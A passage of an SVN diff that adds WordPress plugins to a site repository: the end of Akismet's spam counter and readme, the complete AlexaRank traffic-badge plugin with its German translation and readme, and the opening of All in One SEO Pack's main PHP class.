+#akismeta{font-size:16px;font-weight:bold;line-height:18px;text-decoration:none}
+#akismetcount{display:block;font:15px Verdana,Arial,Sans-Serif;font-weight:bold;text-decoration:none}
+#akismetwrap #akismetstats{background:url(<?php echo get_option('siteurl'); ?>/wp-content/plugins/akismet/akismet.gif) no-repeat top left;border:none;color:#fff;font:11px 'Trebuchet MS','Myriad Pro',sans-serif;height:40px;line-height:100%;overflow:hidden;padding:8px 0 0;text-align:center;width:120px}
+</style>
+<?php
+$count = number_format_i18n(get_option('akismet_spam_count'));
+?>
+<div id="akismetwrap"><div id="akismetstats"><a id="aka" href="http://akismet.com" title=""><div id="akismet1"><span id="akismetcount"><?php echo $count; ?></span> <span id="akismetsc"><?php _e('spam comments') ?></span></div> <div id="akismet2"><span id="akismetbb"><?php _e('blocked by') ?></span><br /><span id="akismeta">Akismet</span></div></a></div></div>
+<?php
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/akismet/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/akismet/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/akismet/readme.txt	(revision 44)
@@ -0,0 +1,22 @@
+=== Akismet ===
+Contributors: matt, ryan, andy, mdawaffe
+Tags: akismet, comments, spam
+
+Akismet checks your comments against the Akismet web service to see if they look like spam or not.
+
+== Description ==
+
+Akismet checks your comments against the Akismet web service to see if they look like spam or not and lets you
+review the spam it catches under your blog's "Comments" admin screen.
+
+Want to show off how much spam Akismet has caught for you? Just put `<?php akismet_counter(); ?>` in your template.
+
+See also: [WP Stats plugin](http://wordpress.org/extend/plugins/stats/).
+
+PS: You'll need a [WordPress.com API key](http://wordpress.com/api-keys/) to use it.
+
+== Installation ==
+
+Upload the Akismet plugin to your blog, Activate it, then enter your [WordPress.com API key](http://wordpress.com/api-keys/).
+
+1, 2, 3: You're done!
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/alexarank/alexarank.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/alexarank/alexarank.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/alexarank/alexarank.php	(revision 44)
@@ -0,0 +1,366 @@
+<?php
+/*
+Plugin Name: AlexaRank
+Plugin URI: http://www.fliptel.de/wordpress-plugins
+Description: Displays the Alexa traffic ranking in the sidebar of your blog via widget or anywhere else. <a href="options-general.php?page=alexarank/alexarank.php">Configure here</a>. Check out more <a href="http://www.fliptel.de/wordpress-plugins">Wordpress Plugins</a> by <a href="http://www.fliptel.de">Fliptel</a>.
+Version: 0.2
+Author: fliptel
+Author URI: http://www.fliptel.de
+*/
+
+/**
+ * v0.2 13.07.2009 fixed css, some templates got brocken thx to sullivan
+ * v0.1 09.07.2009 initial release
+ */
+
+if(!class_exists('AlexaRank')):
+class AlexaRank {
+  var $id;
+  var $version;
+  var $title;
+  var $name;
+  var $options;
+  var $path;
+  var $cache_file;
+  var $locale;
+  var $url;
+  var $layouts;
+  
+  function AlexaRank() {
+    $this->id         = 'alexarank';
+    $this->title      = 'AlexaRank';
+    $this->version    = '0.2';
+    $this->name       = $this->title. ' v'. $this->version;
+    $this->path       = dirname(__FILE__);
+    $this->url        = get_bloginfo('wpurl'). '/wp-content/plugins/' . $this->id; 
+
+    $this->layouts = array(
+      array(
+        'icon'    => '0.gif',
+        'width'   => 80,
+        'height'  => 30,
+        'text'  => array(
+          'width' => 20,
+          'x'     => 30,
+          'y'     => 20,
+          'font'  => 1,
+          'color' => '808080'
+        ),
+        'image' => array(
+          'x'     => 31,
+          'y'     => 15,
+          'w'     => 40,
+          'h'     => 3,
+          'color' => '1b13b7'
+        )
+      ),
+      array(
+        'icon'    => '1.gif',
+        'width'   => 80,
+        'height'  => 15,
+        'text'  => null,
+        'image' => array(
+          'x'     => 35,
+          'y'     => 6,
+          'w'     => 40,
+          'h'     => 3,
+          'color' => '1b13b7'
+        )
+      ),
+      array(
+        'icon'    => '2.gif',
+        'width'   => 80,
+        'height'  => 15,
+        'text'  => array(
+          'width' => 32,
+          'x'     => 15,
+          'y'     => 1,
+          'font'  => 2,
+          'color' => '808080'
+        ),
+        'image' => null
+      ),
+      array(
+        'icon'    => '3.gif',
+        'width'   => 80,
+        'height'  => 15,
+        'text'  => array(
+          'width' => 32,
+          'x'     => 18,
+          'y'     => 1,
+          'font'  => 2,
+          'color' => '808080'
+        ),
+        'image' => null
+      ),
+      array(
+        'icon'    => '4.gif',
+        'width'   => 80,
+        'height'  => 15,
+        'text'  => null,
+        'image' => array(
+          'x'     => 28,
+          'y'     => 11,
+          'w'     => 40,
+          'h'     => 1,
+          'color' => '1b13b7'
+        )
+      )
+    );
+
+	  $this->locale = get_locale();
+
+	  if(empty($this->locale)) {
+		  $this->locale = 'en_US';
+    }
+
+    load_textdomain($this->id, sprintf('%s/%s.mo', $this->path, $this->locale));
+
+    $this->loadOptions();
+    
+    $this->cache_file = $this->path. '/cache/layout'. $this->options['layout']. '.gif';
+
+    if(!@isset($_GET['image'])) {
+      if(is_admin()) {
+        add_action('admin_menu', array(&$this, 'optionMenu'));
+      }
+      else {
+        add_action('wp_head', array(&$this, 'blogHead'));
+      }
+
+      add_action('widgets_init', array(&$this, 'initWidgets'));
+    }
+  }
+  
+  function optionMenu() {
+    add_options_page($this->title, $this->title, 8, __FILE__, array(&$this, 'optionMenuPage'));
+  }
+
+  function optionMenuPage() {
+
+    if(@$_REQUEST[$this->id]) {
+      @unlink($this->cache_file);
+    
+      $this->updateOptions($_REQUEST[$this->id]);
+    
+      echo '<div id="message" class="updated fade"><p><strong>' . __('Settings saved!', $this->id) . '</strong></p></div>'; 
+    }
+?>
+<div class="wrap">
+
+<h2><?php _e('Settings', $this->id); ?></h2>
+<form method="post" action="">
+<table class="form-table">
+<?php if(!file_exists($this->path. '/cache/') || !is_writeable($this->path. '/cache/')): ?>
+<tr valign="top"><th scope="row" colspan="3"><span style="color:red;"><?php _e('Warning! The cachedirectory is missing or not writeable!', $this->id); ?></span><br /><em><?php echo $this->path; ?>/cache</em></th></tr>
+<?php endif; ?>
+</tr>
+<tr valign="top">
+  <th scope="row"><?php _e('Title', $this->id); ?></th>
+  <td><input name="<?=$this->id?>[title]" type="text" class="code" value="<?=$this->options['title']?>" /><br /><?php _e('The title is displayed above the badge in widget mode only!', $this->id); ?></td></tr>
+  <th scope="row"><?php _e('Layout', $this->id); ?></th>
+  <td colspan="3">
+  <input name="<?=$this->id?>[layout]" type="radio" class="code" value="0"<?php echo intval($this->options['layout']) == 0 ? ' checked="checked"' : ''; ?> />
+  <img src="<?=$this->url?>/screenshot-1.gif" style="vertical-align:middle;" /><br /><br />
+  <input name="<?=$this->id?>[layout]" type="radio" class="code" value="1"<?php echo intval($this->options['layout']) == 1 ? ' checked="checked"' : ''; ?> />
+  <img src="<?=$this->url?>/screenshot-2.gif" style="vertical-align:middle;" /><br /><br />
+  <input name="<?=$this->id?>[layout]" type="radio" class="code" value="2"<?php echo intval($this->options['layout']) == 2 ? ' checked="checked"' : ''; ?> />
+  <img src="<?=$this->url?>/screenshot-3.gif" style="vertical-align:middle;" /><br /><br />
+  <input name="<?=$this->id?>[layout]" type="radio" class="code" value="3"<?php echo intval($this->options['layout']) == 3 ? ' checked="checked"' : ''; ?> />
+  <img src="<?=$this->url?>/screenshot-4.gif" style="vertical-align:middle;" /><br /><br />
+  <input name="<?=$this->id?>[layout]" type="radio" class="code" value="4"<?php echo intval($this->options['layout']) == 4 ? ' checked="checked"' : ''; ?> />
+  <img src="<?=$this->url?>/screenshot-5.gif" style="vertical-align:middle;" />
+  </td>
+</tr>
+
+</table>
+
+<p class="submit">
+  <input type="submit" value="<?php _e('save', $this->id); ?>" name="submit" />
+</p>
+
+</form>
+
+</div>
+<?php
+}
+  function loadOptions() {
+    if(!($this->options = get_option($this->id))) {
+      $this->options = array(
+        'title' => 'AlexaRank',
+        'layout' => 0
+			);
+
+      add_option($this->id, $this->options, $this->name, 'yes');
+    }
+  }
+  
+  function updateOption($name, $value) {
+    $this->updateOptions(array($name => $value));
+  }
+
+  function updateOptions($options) {
+    foreach($this->options as $k => $v) {
+      if(array_key_exists($k, $options)) {
+        $this->options[$k] = $options[ $k ];
+      }
+    }
+
+		update_option($this->id, $this->options);
+	}
+  
+  function blogHead() {
+    printf('<meta name="%s" content="%s/%s" />' . "\n", $this->id, $this->id, $this->version);
+    print( '<style type="text/css">
+#alexarank, #alexarank small {padding: 0;margin: 0;color: #aaa;font-family: Arial, sans-serif;font-size: 10px;font-style: normal;font-weight: normal;letter-spacing: 0px;text-transform: none; width: 80px;text-align:center;border:0;}
+#alexarank small a:hover, #alexarank small a:link, #alexarank small a:visited, #alexarank small a:active {color: #aaa;text-decoration:none;cursor: pointer;text-transform: none;font-size:10px;border:0;display:inline;}
+</style>');
+  }
+
+  function httpGet($url) {
+
+    if(!class_exists('Snoopy')) {
+      include_once(ABSPATH. WPINC. '/class-snoopy.php');
+    }
+
+	  $Snoopy = new Snoopy();
+
+    if(@$Snoopy->fetch($url)) {
+
+      if(!empty( $Snoopy->results)) {
+        return $Snoopy->results;
+      }
+    }
+
+    return false;
+  }
+  
+  function normalizeValue($value) {
+    if($value < 0) {
+  		return 0;
+  	}
+
+    $rank = intval(floor(log($value) / log(5)));
+
+  	return $rank > 10 ? 10 : 10 - $rank; 
+  }
+
+  function getAlexaRank() {
+    $url = get_bloginfo('wpurl');
+
+    $url = sprintf('http://data.alexa.com/data?cli=10&dat=snbamz&url=%s', urlencode($url));
+
+    if(($data = $this->httpGet($url)) !== false) {
+      
+      preg_match('|POPULARITY URL="(.*?)" TEXT="([0-9]+)"|', $data, $matches);
+
+      if(count($matches) == 3 && !empty($matches[ 2 ])) {
+        return intval($matches[ 2 ]);
+      }
+    }
+
+    return 0;
+  }
+
+  function rgbColor(&$img, $rgb) {
+    if( $rgb[ 0 ] == '#' ) {
+      $rgb = substr( $rgb, 1 );
+    }
+    
+    $a = substr($rgb, 0, 2);
+    $b = substr($rgb, 2, 2);
+    $c = substr($rgb, 4, 2);
+
+    return imagecolorallocate($img, hexdec($a), hexdec($b), hexdec($c));
+  }
+
+  
+  function getCode() {
+    return sprintf( '<div id="%s"><a class="snap_noshots" href="http://www.fliptel.de/wordpress-plugins#%s" target="_blank"><img src="%s/%s/%s/%s.php?image=1" border="0" alt="%s" title="%s" /></a><br /><small><a href="http://www.fliptel.de/wordpress-plugins" class="snap_noshots" target="_blank">Plugin</a> by <a href="http://www.fliptel.de" class="snap_noshots" target="_blank">Fliptel</a></small></div>', $this->id, $this->id, get_bloginfo('wpurl'), PLUGINDIR, $this->id, $this->id, $this->title, $this->title);
+  }
+
+  function draw() {
+    clearstatcache();
+    
+    $create = false;
+    
+    if(!file_exists($this->cache_file)) {
+      $create = true;
+    }
+    elseif(time() - filemtime($this->cache_file) > (3600 * 3)) {
+      $create = true;
+    }
+    
+    if($create) {
+
+      $numeric = $this->getAlexaRank();
+
+      $layout = $this->layouts[intval($this->options['layout'])];
+
+      $img = @imagecreatefromgif($this->path. '/img/'. $this->options['layout']. '.gif');
+      
+      if(!is_null($layout['text'])) {
+
+        $x = intval(round($layout['text']['width'] - ((imagefontwidth($layout['text']['font'])*strlen($numeric==0?'none':number_format($numeric,0,'.','.')))/2) + $layout['text']['x']));
+        $color1 = $this->rgbColor($img, $layout['text']['color']);
+        imagestring($img, $layout['text']['font'], $x, $layout['text']['y'], $numeric == 0 ? 'none' : number_format($numeric,0,'.','.'), $color1);
+      }
+            
+      if(!is_null($layout['image']) && $numeric > 0) {
+        $color2 = $this->rgbColor($img, $layout['image']['color']);
+        imagefilledrectangle($img, $layout['image']['x'], $layout['image']['y'], $layout['image']['x'] + ($this->normalizeValue($numeric)*4)-1, $layout['image']['y'] + $layout['image']['h']-1, $color2);
+      }
+
+      if(is_writeable($this->path. '/cache')) {
+        imagegif($img, $this->cache_file);
+      }
+    }
+    else {
+      $img = @imagecreatefromgif($this->cache_file);
+    }
+    
+    header( 'Content-Type: image/gif' );
+
+    @imagegif($img);
+  }
+
+  function initWidgets() {
+    if(function_exists('register_sidebar_widget')) {
+      register_sidebar_widget($this->title. ' Widget', array(&$this, 'Widget'), null, 'widget_'. $this->id);
+    }
+  }
+  
+  function widget($args) {
+    extract($args);
+
+    printf('%s%s%s%s%s%s', $before_widget, $before_title, $this->options['title'], $after_title, $this->getCode(), $after_widget);
+  }
+}
+
+function alexarank_display() {
+  global $AlexaRank;
+
+  if(!isset($AlexaRank)) {
+    $AlexaRank = new AlexaRank();
+  }
+
+  if($AlexaRank) {
+    echo $AlexaRank->getCode();
+  }
+}
+endif;
+
+if(@isset($_GET['image'])) {
+  include_once(dirname(__FILE__). '/../../../wp-config.php');
+
+  if(!isset($AlexaRank)) {
+    $AlexaRank = new AlexaRank();
+  }
+
+  $AlexaRank->draw();
+}
+else {
+  add_action('plugins_loaded', create_function('$AlexaRank_s92231c', 'global $AlexaRank; $AlexaRank = new AlexaRank();')); 
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/alexarank/de_DE.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/alexarank/de_DE.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/alexarank/de_DE.po	(revision 44)
@@ -0,0 +1,43 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: alexarank\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-07-09 16:15+0100\n"
+"PO-Revision-Date: \n"
+"Last-Translator: \n"
+"Language-Team: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: alexarank.php:133
+msgid "Settings saved!"
+msgstr "Die Einstellungen wurden gespeichert!"
+
+#: alexarank.php:138
+msgid "Settings"
+msgstr "Einstellungen"
+
+#: alexarank.php:142
+msgid "Warning! The cachedirectory is missing or not writeable!"
+msgstr "Das Cacheverzeichnis ist nicht beschreibbar oder exitiert nicht!"
+
+#: alexarank.php:146
+msgid "Title"
+msgstr "Titel"
+
+#: alexarank.php:147
+msgid "The title is displayed above the badge in widget mode only!"
+msgstr "Der Titel wird im Widget-Modus oberhalb des Alexa-Buttons angezeigt."
+
+#: alexarank.php:148
+msgid "Layout"
+msgstr "Layout"
+
+#: alexarank.php:164
+msgid "save"
+msgstr "speichern"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/alexarank/index.html
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/alexarank/index.html	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/alexarank/index.html	(revision 44)
@@ -0,0 +1,10 @@
+<html>
+<head>
+<meta http-equiv="refresh" content="0;URL=http://www.fliptel.de/wordpress-plugins" />
+</head>
+<body>
+  <p>This file protects your webserver directoy!</p>
+  <p>Do not call this url directly!</p>
+  <p><a href="http://www.fliptel.de/wordpress-plugins">Wordpress Plugins</a></p>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/alexarank/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/alexarank/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/alexarank/readme.txt	(revision 44)
@@ -0,0 +1,43 @@
+=== AlexaRank ===
+Contributors: fliptel
+Donate link: http://www.fliptel.de/donate
+Tags: stats, wordpress, alexa, alexa rank, statistics, badge, widget, widgets, sidebar, visits, activity, admin, plugin, links, google, page, counter, alexarank, traffic
+Requires at least: 2.5
+Tested up to: 2.7
+Stable tag: 0.2
+
+Displays the Alexa traffic rank in the sidebar of your blog via widget interface or anywhere else via function call.
+
+== Description ==
+
+Displays the Alexa traffic rank in the sidebar of your blog via widget interface or anywhere else via function call. The Plugin comes with 5 different layouts.
+
+Browse more [Wordpress Plugins](http://www.fliptel.de/wordpress-plugins "Wordpress Plugins") by [Fliptel](http://www.fliptel.de "Fliptel").
+
+== Installation ==
+
+1. Unpack the zipfile alexarank-X.y.zip
+1. Upload folder `alexarank` to the `/wp-content/plugins/` directory
+1. Make cache directory writeable chmod 777
+1. Activate the plugin through the 'Plugins' menu in WordPress
+1. Place `<?php if(function_exists('alexarank_display'))alexarank_display(); ?>` in your template or use the sidebar widgets.
+
+== Frequently Asked Questions ==
+
+= Does AlexaRank has anythink to do with Google PageRank =
+
+No, not yet, never.
+
+== Screenshots ==
+
+1. layout #1 number and bar
+1. layout #2 only bar
+1. layout #3 only number
+1. layout #4 only number
+1. layout #5 only bar
+
+== Change Log ==
+
+ * v0.2 13.07.2009 fixed css, some templates got brocken thx to sullivan
+ * v0.1 09.07.2009 initial release
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/all-in-one-seo-pack/aioseop.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/all-in-one-seo-pack/aioseop.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/all-in-one-seo-pack/aioseop.class.php	(revision 44)
@@ -0,0 +1,2091 @@
+<?php
+
+class All_in_One_SEO_Pack {
+	
+ 	var $version = "1.6.5";
+ 	
+ 	/** Max numbers of chars in auto-generated description */
+ 	var $maximum_description_length = 160;
+ 	
+ 	/** Minimum number of chars an excerpt should be so that it can be used
+ 	 * as description. Touch only if you know what you're doing
+ 	 */
+ 	var $minimum_description_length = 1;
+ 	
+ 	var $ob_start_detected = false;
+ 	
+ 	var $title_start = -1;
+ 	
+ 	var $title_end = -1;
+ 	
+ 	/** The title before rewriting */
+ 	var $orig_title = '';
+ 	
+ 	/** Temp filename for the latest version. */
+// 	var $upgrade_filename = 'temp.zip';
+ 	
+ 	/** Where to extract the downloaded newest version. */
+// 	var $upgrade_folder;
+ 	
+ 	/** Any error in upgrading. */
+// 	var $upgrade_error;
+ 	
+ 	/** Which zip to download in order to upgrade .*/
+// 	var $upgrade_url = 'http://downloads.wordpress.org/plugin/all-in-one-seo-pack.zip';
+ 	
+ 	/** Filename of log file. */
+ 	var $log_file;
+ 	
+ 	/** Flag whether there should be logging. */
+ 	var $do_log;
+ 	
+ 	var $wp_version;
+	
+	var $aioseop_op;
+ 	//var $aioseop_options = get_option('aioseop_options');
+
+	function All_in_One_SEO_Pack() {
+		global $wp_version;
+		global $aioseop_options;
+		$this->wp_version = $wp_version;
+
+		$this->log_file = dirname(__FILE__) . '/all_in_one_seo_pack.log';
+		if ($aioseop_options['aiosp_do_log']) {
+			$this->do_log = true;
+		} else {
+			$this->do_log = false;
+		}
+
+//		$this->upgrade_filename = dirname(__FILE__) . '/' . $this->upgrade_filename;
+//		$this->upgrade_folder = dirname(__FILE__);
+	}
+	
+	/**      
+	 * Convert a string to lower case
+	 * Compatible with mb_strtolower(), an UTF-8 friendly replacement for strtolower()
+	 */
+	function strtolower($str) {
+		global $UTF8_TABLES;
+		return strtr($str, $UTF8_TABLES['strtolower']);
+	}
+	
+	/**      
+	 * Convert a string to upper case
+	 * Compatible with mb_strtoupper(), an UTF-8 friendly replacement for strtoupper()
+	 */
+	function strtoupper($str) {
+		global $UTF8_TABLES;
+		return strtr($str, $UTF8_TABLES['strtoupper']);
+	}	
+	
+	
+	function template_redirect() {
+		global $wp_query;
+		global $aioseop_options;
+
+		$post = $wp_query->get_queried_object();
+
+		if( $this->aioseop_mrt_exclude_this_page()){
+			return;
+		}
+
+		if (is_feed()) {
+			return;
+		}
+
+		if (is_single() || is_page()) {
+		    $aiosp_disable = htmlspecialchars(stripcslashes(get_post_meta($post->ID, '_aioseop_disable', true)));
+		    if ($aiosp_disable) {
+		    	return;
+		    }
+		}
+
+
+
+		if ($aioseop_options['aiosp_rewrite_titles']) {
+			ob_start(array($this, 'output_callback_for_title'));
+		}
+	}
+	
+	function aioseop_mrt_exclude_this_page(){
+			global $aioseop_options;
+			$currenturl = trim($_SERVER['REQUEST_URI'],'/');
+	/*		echo "<br /><br />";
+			echo $aioseop_options['aiosp_ex_pages'];
+			echo "<br /><br />";
+*/
+		
+			$excludedstuff = explode(',',$aioseop_options['aiosp_ex_pages']);
+			foreach($excludedstuff as $exedd){
+				//echo $exedd;
+			if($exedd){
+				if(stristr($currenturl, trim($exedd))){
+					return true;
+				}
+			}
+		}
+		return false;
+	}
+	
+	function output_callback_for_title($content) {
+		return $this->rewrite_title($content);
+	}
+
+
+
+
+
+
+//
+//CHECK IF ARRAY EXISTS IN DB, IF SO, GET ARRAY, ADD EVERYTHING, CHECK FOR ISSET?
+//
+	function init() {
+if (function_exists('load_plugin_textdomain')) {
+	if ( !defined('WP_PLUGIN_DIR') ) {
+		load_plugin_textdomain('all_in_one_seo_pack', str_replace( ABSPATH, '', dirname(__FILE__)));
+	} else {
+		load_plugin_textdomain('all_in_one_seo_pack', false, dirname(plugin_basename(__FILE__)));
+	}
+}
+
+
+/*
+		if (function_exists('load_plugin_textdomain')) {
+			load_plugin_textdomain('all_in_one_seo_pack', WP_PLUGIN_DIR . '/all-in-one-seo-pack');
+		}
+*/
+
+	}
+
+	function is_static_front_page() {
+		global $wp_query;
+		global $aioseop_options;
+		$post = $wp_query->get_queried_object();
+		return get_option('show_on_front') == 'page' && is_page() && $post->ID == get_option('page_on_front');
+	}
+	
+	function is_static_posts_page() {
+		global $wp_query;
+		$post = $wp_query->get_queried_object();
+		return get_option('show_on_front') == 'page' && is_home() && $post->ID == get_option('page_for_posts');
+	}
+	
+	function get_base() {
+   		 return '/'.end(explode('/', str_replace(array('\\','/all_in_one_seo_pack.php'),array('/',''),__FILE__)));
+	}
+
+	function seo_mrt_admin_head() {
+		$home = get_settings('siteurl');
+		$stylesheet = WP_PLUGIN_URL . '/all-in-one-seo-pack/style.css';
+		echo '<link rel="stylesheet" href="' . $stylesheet . '" type="text/css" media="screen" />';
+	}
+
+
+	function wp_head() {
+		if (is_feed()) {
+			return;
+		}
+		
+		global $wp_query;
+		global $aioseop_options;
+		$post = $wp_query->get_queried_object();
+		$meta_string = null;
+		if($this->is_static_posts_page()){
+					$title = strip_tags( apply_filters( 'single_post_title', $post->post_title ) );
+
+				}
+		//echo("wp_head() " . wp_title('', false) . " is_home() => " . is_home() . ", is_page() => " . is_page() . ", is_single() => " . is_single() . ", is_static_front_page() => " . $this->is_static_front_page() . ", is_static_posts_page() => " . $this->is_static_posts_page());
+
+		if (is_single() || is_page()) {
+		    $aiosp_disable = htmlspecialchars(stripcslashes(get_post_meta($post->ID, '_aioseop_disable', true)));
+		    if ($aiosp_disable) {
+		    	return;
+		    }
+		}
+		
+			if( $this->aioseop_mrt_exclude_this_page()==TRUE ){
+				return;
+			}
+		
+		if ($aioseop_options['aiosp_rewrite_titles']) {
+			// make the title rewrite as short as possible
+			if (function_exists('ob_list_handlers')) {
+				$active_handlers = ob_list_handlers();
+			} else {
+				$active_handlers = array();
+			}
+			if (sizeof($active_handlers) > 0 &&
+				strtolower($active_handlers[sizeof($active_handlers) - 1]) ==
+				strtolower('All_in_One_SEO_Pack::output_callback_for_title')) {
+				ob_end_flush();
+			} else {
+				$this->log("another plugin interfering?");
+				// if we get here there *could* be trouble with another plugin :(
+				$this->ob_start_detected = true;
+				if (function_exists('ob_list_handlers')) {
+					foreach (ob_list_handlers() as $handler) {
+						$this->log("detected output handler $handler");
+					}
+				}
+			}
+		}
+		
+		/*
+		
+		echo trim($_SERVER['REQUEST_URI'],'/');
+		$currenturl = trim($_SERVER['REQUEST_URI'],'/');
+		echo "<br /><br />";
+		
+		echo $aioseop_options['aiosp_ex_pages'];
+		
+		echo "<br /><br />";
+		
+		$excludedstuff = explode(',',$aioseop_options['aiosp_ex_pages']);
+		foreach($excludedstuff as $exedd){
+			echo $exedd;
+			//echo "<br /><br />substring: ". stristr($currenturl,trim($exedd)) . "<br />";
+			if(stristr($currenturl, trim($exedd))){
+				echo "<br />match, should not display<br /><br />";
+			}else{
+				echo "<br />( " . $exedd . " was not found in " . $currenturl . " ) - no match<br /><br />";
+			}
+		}
+		//print_r($excludedstuff);
+		*/
+		echo "\n<!-- All in One SEO Pack $this->version by Michael Torbert of Semper Fi Web Design";
+		if ($this->ob_start_detected) {
+			echo "ob_start_detected ";
+		}
+		echo "[$this->title_start,$this->title_end] ";
+		echo "-->\n";
+		if ((is_home() && $aioseop_options['aiosp_home_keywords'] && !$this->is_static_posts_page()) || $this->is_static_front_page()) {
+			$keywords = trim($this->internationalize($aioseop_options['aiosp_home_keywords']));
+		} elseif($this->is_static_posts_page() && !$aioseop_options['aiosp_dynamic_postspage_keywords']){  // and if option = use page set keywords instead of keywords from recent posts
+				//$keywords = "posts keyyysss" . stripcslashes(get_post_meta($post->ID,'keywords',true));
+				$keywords = stripcslashes($this->internationalize(get_post_meta($post->ID, "_aioseop_keywords", true)));
+              
+//			$keywords =	$this->get_unique_keywords($keywords);
+
+			}else {
+				$keywords = $this->get_all_keywords();
+			}
+		if (is_single() || is_page() || $this->is_static_posts_page()) {
+            if ($this->is_static_front_page()) {
+				$description = trim(stripcslashes($this->internationalize($aioseop_options['aiosp_home_description'])));
+            } else {
+            	$description = $this->get_post_description($post);
+				$description = apply_filters('aioseop_description',$description);
+            }
+		} else if (is_home()) {
+			$description = trim(stripcslashes($this->internationalize($aioseop_options['aiosp_home_description'])));
+		} else if (is_category()) {
+			$description = $this->internationalize(category_description());
+		}
+		
+		if (isset($description) && (strlen($description) > $this->minimum_description_length) && !(is_home() && is_paged())) {
+			$description = trim(strip_tags($description));
+			$description = str_replace('"', '', $description);
+			
+			// replace newlines on mac / windows?
+			$description = str_replace("\r\n", ' ', $description);
+			
+			// maybe linux uses this alone
+			$description = str_replace("\n", ' ', $description);
+			
+			if (isset($meta_string)) {
+				//$meta_string .= "\n";
+			} else {
+				$meta_string = '';
+			}
+			
+			// description format
+            $description_format = $aioseop_options['aiosp_description_format'];
+            if (!isset($description_format) || empty($description_format)) {
+            	$description_format = "%description%";
+            }
+            $description = str_replace('%description%', $description, $description_format);
+            $description = str_replace('%blog_title%', get_bloginfo('name'), $description);
+            $description = str_replace('%blog_description%', get_bloginfo('description'), $description);
+            $description = str_replace('%wp_title%', $this->get_original_title(), $description);
+            //$description = html_entity_decode($description, ENT_COMPAT, get_bloginfo('charset')); 
+            if($aioseop_options['aiosp_can'] && is_attachment()){
+                    $url = $this->aiosp_mrt_get_url($wp_query);
+                            if ($url) {
+                            preg_match_all('/(\d+)/', $url, $matches);
+                                    if (is_array($matches)){
+                                            $uniqueDesc = join('',$matches[0]);
+                                    }
+                    }
+            $description .= ' ' . $uniqueDesc;
+            }
+            $meta_string .= sprintf("<meta name=\"description\" content=\"%s\" />", $description);
+		}
+		$keywords = apply_filters('aioseop_keywords',$keywords);		
+		if (isset ($keywords) && !empty($keywords) && !(is_home() && is_paged())) {
+			if (isset($meta_string)) {
+				$meta_string .= "\n";
+			}
+			$meta_string .= sprintf("<meta name=\"keywords\" content=\"%s\" />", $keywords);
+		}
+
+		if (function_exists('is_tag')) {
+			$is_tag = is_tag();
+		}
+		
+		if ((is_category() && $aioseop_options['aiosp_category_noindex']) ||
+			(!is_category() && is_archive() &&!$is_tag && $aioseop_options['aiosp_archive_noindex']) ||
+			($aioseop_options['aiosp_tags_noindex'] && $is_tag)) {
+			if (isset($meta_string)) {
+				$meta_string .= "\n";
+			}
+			$meta_string .= '<meta name="robots" content="noindex,follow" />';
+		}
+		
+		$page_meta = stripcslashes($aioseop_options['aiosp_page_meta_tags']);
+		$post_meta = stripcslashes($aioseop_options['aiosp_post_meta_tags']);
+		$home_meta = stripcslashes($aioseop_options['aiosp_home_meta_tags']);
+		if (is_page() && isset($page_meta) && !empty($page_meta) || $this->is_static_posts_page()) {
+			if (isset($meta_string)) {
+				$meta_string .= "\n";
+			}
+			echo "\n$page_meta";
+		}
+		
+		if (is_single() && isset($post_meta) && !empty($post_meta)) {
+			if (isset($meta_string)) {
+				$meta_string .= "\n";
+			}
+			$meta_string .= "$post_meta";
+		}
+		
+		if (is_home() && !empty($home_meta)) {
+			if (isset($meta_string)) {
+				$meta_string .= "\n";
+			}
+			$meta_string .= "$home_meta";
+		}
+		
+		if ($meta_string != null) {
+			echo "$meta_string\n";
+		}
+		
+		if($aioseop_options['aiosp_can']){
+			$url = $this->aiosp_mrt_get_url($wp_query);
+				if ($url) {
+					$url = apply_filters('aioseop_canonical_url',$url);
+					
+			echo "".'<link rel="canonical" href="'.$url.'" />'."\n";
+			}
+		}
+		
+		echo "<!-- /all in one seo pack -->\n";
+	}
+
+// Thank you, Yoast de Valk, for much of this code.	
+	
+	function aiosp_mrt_get_url($query) {
+		global $aioseop_options;
+		if ($query->is_404 || $query->is_search) {
+			return false;
+		}
+		$haspost = count($query->posts) > 0;
+	    $has_ut = function_exists('user_trailingslashit');
+
+		if (get_query_var('m')) {
+	        $m = preg_replace('/[^0-9]/', '', get_query_var('m'));
+	        switch (strlen($m)) {
+	            case 4: 
+	                $link = get_year_link($m);
+	                break;
+	            case 6: 
+	                $link = get_month_link(substr($m, 0, 4), substr($m, 4, 2));
+	                break;
+	            case 8: 
+	                $link = get_day_link(substr($m, 0, 4), substr($m, 4, 2),
+	                                     substr($m, 6, 2));
+	                break;
+	            default:
+	                return false;
+	        }
+	    } elseif (($query->is_single || $query->is_page) && $haspost) {
+	        $post = $query->posts[0];
+	        $link = get_permalink($post->ID);
+	        $link = $this->yoast_get_paged($link); 
+/*	        if ($page && $page > 1) {
+	            $link = trailingslashit($link) . "page/". "$page";
+	            if ($has_ut) {
+	                $link = user_trailingslashit($link, 'paged');
+	            } else {
+	                $link .= '/';
+	            }
+	        }
